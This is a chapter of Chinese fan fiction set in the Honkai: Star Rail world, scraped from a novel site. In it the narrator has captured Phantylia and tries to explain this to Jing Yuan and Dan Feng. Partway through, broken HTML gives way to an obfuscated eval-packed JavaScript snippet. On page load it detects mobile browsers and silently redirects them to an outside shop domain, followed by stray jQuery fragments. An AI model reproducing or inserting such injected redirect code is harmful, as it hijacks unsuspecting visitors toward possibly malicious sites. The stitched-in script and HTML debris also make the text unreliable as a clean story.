文趣网 > 其他小说 > 开拓?那是什么? > 37.你说你捡了什么?
    你认识她啊?幻胧还以为你不知道她和她所代表的危险呢。

    但看你的样子,倒不像在害怕她。

    仙舟拿她当敌人,如果知道是她,该高度戒备,以应敌的规格应对她。

    但你这是什么反应啊?关心?告诫?讲述经验?

    幻胧复杂地看着你,你一脸关切地看着她:要好好活着啊,幻胧!她还要给你的配队拉行动进度条呢!

    幻胧显然不觉得谁能有全然制裁她的办法。要是这么容易就能阻拦她的计划,她又如何会成为绝灭大君呢!

    封印岁阳不无可能,捕捉幻胧的难度却很大。而她的周围只有你,和或许隐藏起位置攻击她的持明,幻胧有信心不被抓住。

    更何况,幻胧是来捕捉你的。虽然还没有想好你的用途,但是小小的你怎么会逃出她的手掌心呢?

    她不知道,你也是来捉她的。

    你的捕捉设备,噢,是车票,已经借由长夜月的力量,贴到她身上了啊。

    “有一个好消息,和一个坏消息。”丹枫对景元说。

    罗浮的将军虽然知道朋友的本事,但消息没在景元手边汇总,反倒由饮月君告诉他,这倒是这几百年以来头一遭。

    “什么消息?不妨同我说说。”景元从中觉察出一点乐趣,这是他暌违已久的、类似于开盲盒的感受。

    “就在我们集中做事的时候,幻胧冒充我的样貌和名号,去找了她。”

    “什么——我现在带云骑去营救她。”

    怎么又是幻胧?景元还没有好好休息一次,他有些疲惫,疲惫里带着些无奈。

    “不用了,她把幻胧抓住了。”丹枫眼神微妙。

    好陌生的内容。景元怔了怔,“你讲的是仙舟话,对吧?”

    “那我讲持明的语言,让你对比一下?”丹枫一脸正色,他刚要开玩笑摆出龙吟的架势,忽然又变了神色。

    “白珩呢?”丹枫问景元。他拈起一团小小的水雾,“它为什么会在这里?这是那日我留下影像通讯所用的海水,一半还在她身上,另一半该看着白珩——白珩来过这里?”

    什么叫白珩来过这里?那日白珩与镜流的会面,被掩盖在一片金光之中,除了白珩和镜流,竟也没谁能将那时的事说个清楚。

    “她不还是个孩子吗?”景元纳罕。

    白珩如今身形甚小,他将白珩临时托付给彦卿,只嘱托护她安全,又请了位狐人姑娘。

    现在是什么情况?白珩在离开摇篮都困难的前提下,竟越过彦卿二人,又越过值守的云骑,往这重地里跑了一趟?

    景元开始理解你的感受了,他想起了你控诉帝弓时的口吻。

    不会又是因为天弓吧?景元不由得往这里联想。

    “回禀将军,龙师正要控诉丹枫大人擅开龙女大人尾巴上的器械。”

    景元向前走了几步,出现在云骑视野中,立刻有人为他送上消息。

    丹枫确证了自己如今的清白,这让景元的心情轻松了不少。

    “我怎么不知道你还会这个?”景元扬眉看了丹枫一眼,他可没听说丹枫能同时出现在两个地方。

    “厅中不少人环绕在丹枫附近,丹枫的动作、行为,当有人能为他证明他没有这么做,也该没有这样的机会。”景元温声道。

    他虽然能理解龙师想要扳回一城,但多少也应该有点理据,而不是“我寻思丹枫说不定能做到。”

    “造谣我?”丹枫若有所思,他知道龙师的意思:

    虽然他们擅自给白露的龙尾扣上枷锁,但丹枫开的时候同样没有正规流程。

    毕竟是要务,按照流程进行倒也合理。但问题是丹枫并没有动手——他要是亲手开了那枷锁,他自己能不知道吗?

    “这下,他们可以宣称他们‘是用它来为龙女保养尾巴,实乃一番苦心’了。”

    丹枫惯来与龙师意见相左,对他们搅混水的本事,丹枫也算是有些体验。

    “那龙女呢?她还好吗?”景元问。

    “龙女大人睡着了,不过——她问过值守的兄弟,有没有看到一位狐人女性从门口出去。”

    狐人女性?

    “白露大人说,那位狐人的头发和尾巴的颜色,几乎与她一致。但没有人看到她说的狐人出去,甚至也没有看到符合描述的狐人进门。”

    这下丹枫听懂了,能符合这样的条件,甚至来去无踪,除了白珩又有谁能做到?也难怪在这里留下了一团雾气。

    “符合描述?还有什么描述?”景元追问。

    “大概这么高。”云骑比了一下自己的肩膀。

    怎么听怎么像是成年狐人。丹枫罕见地想要沉默:他记得白珩不是刚要抓周吗?

    抓周是你的说法,仙舟管这个叫“试儿”,你对白珩的抓周结果,可谓是相当感兴趣,总是挂在嘴边,应星造那个列车模型多半也有你的原因。

    你总说些车票啊,列车啊,白珩就适合一起去做无名客啊。

    这种话倒也不是没有道理,白珩的兴趣也在这里。于是他们也由着你往可抓取的范围里放置大量车票。

    如果不是呼雷忽然来袭,这会儿白珩抓取的结果也该出来了。

    丹枫心情有些不妙,他记了呼雷一笔。

    如果是白珩给白露开了尾巴上的枷锁——景元思索着相关规定,想着该如何解释这事,他忽然有些头大。

    景元似有所感,他忽然抬头看了丹枫一眼:果然还是那副淡然自若的样子。

    以他对丹枫的理解,丹枫告诉他的两个消息,连着他刚从云骑这边得知的那一个,这些消息对丹枫来说,同样也是新的。

    丹枫完全不因为思考而感到苦恼吗?

    “龙师不给人准备时间。”丹枫为他答疑解惑,饮月君看到了景元那苦恼里带着疑惑的表情,他明白景元想问他什么。

    “来不及准备,或者准备了的东西用不上,对我来说,倒也并不少见。”丹枫正色一瞬又笑了,“罗浮的今日,在你不在我,自然是你更辛劳一些。”

    “你藏了什么秘密?看样子,有些难以启齿。但看你犹豫的表情,是打算告诉我吗?”景元弯着眼。

    白珩与白露相见之事姑且不提,看见白珩安静地躺在摇篮中,这令景元有些欣慰,心头也松快了一些。

    不然他还真不知道,要怎么跟丹枫和你解释。

    “我有事要跟你说。”你艰难道。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17555669|202543||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    喊着“来都来了”,去抓幻胧的时候,你一脸轻松。待到要跟景元解释,你却为难起来。

    ——你确实拿不准幻胧算是礼物,还是麻烦。

    “我捡到了一团火……呃,火一样的狐狸。”

    “真的是捡到的?”景元挑眉。

    “嗯……你就算是我捡到的吧,这个不是重点。重点是它长得和你们罗浮商团的姑娘有点像。”你精心组织言辞。

    捡到狐狸,倒不违规仙舟的律令。

    但如果你用捡狐狸来形容一位绝灭大君……

    景元不难看出你的迟疑,是在考虑他的处境。他叹了气,“那么你呢?在做这件事的时候,你自己的安危,又被你放在哪里?”

    这个嘛,长夜月说他会确保你的安全,并且之前对上呼雷,她就是这样做的。

    你不确定椒丘和貊泽跟景元说了多少,但景元既然问了,或许因为你不愿意透露长夜月的相关消息,他们特意隐去,没有怎么提及。

    “你说得对。”你诚恳道,“所以我们把它放在哪里?”

    这应该的确算得上是幻胧最没有排面的一次。

    你看似诚恳,但景元又怎么没看出来,你正打算让这个话题滑溜溜地滚过去?

    “既然是你捡的狐狸,或许当听一听你的想法,你的意思呢?”他还是顺着你问了下去。

    太棒了!就等着景元问呢。

    “它害得人家商团的姑娘——要不就让它留下来干活吧。”

    你不确定幻胧能不能赔偿停云的损失,但幻胧完全可以干活,来挣出这一笔赔偿啊!

    留个接触过丰饶的绝灭大君在巡猎的将军身边干活吗?你究竟什么来头?

    景元思考,景元沉默,景元欲言又止。

    “这是否难了一点?那狐狸就不曾野性难驯,咬伤谁人吗?”他委婉问你。

    怎么没有呢?

    你已经没办法理清现在的剧情顺序了,在你知道的那一段里,景元的确为幻胧所伤,怕是伤的不轻。

    “你要不要先和丹枫组队试试?”你想了想,给出了一个解决方案。

    究竟是什么跳转到这里来的?景元微微惊愕。

    “如果能够成功免疫队友的伤害,我将即刻让幻胧成为你的队友。”

    “幻什么?”景元问你。

    “呃,幻,幻火狐?”你飞速改口。

    你究竟在慌张什么?景元朝你眨眼。

    你这不是已经听到了吗?你回了景元一个眼神。

    “你要和我切磋?”丹枫抱着手臂,“我此次并不是来与你争高下的,你对武艺演习,我印象中也算不上热衷。”

    人是会变化的呀。景元张了张口,吐出了另一句话,“顺利的话,说不定我有机会看到我家的白猫……白毛大狮子。”

    “你养了狮子?那确实值得一看。在哪切磋?”

    景元微微松了一口气,那些消沉的话,他实在不想说与挚友听。

    如果是丹恒,他或许不好擅自界定,但他和丹枫应该还是朋友才对。

    所以说,景元破局的办法,究竟为什么是说你提过的内容呢?他接受你的语言系统,是否太快了一点?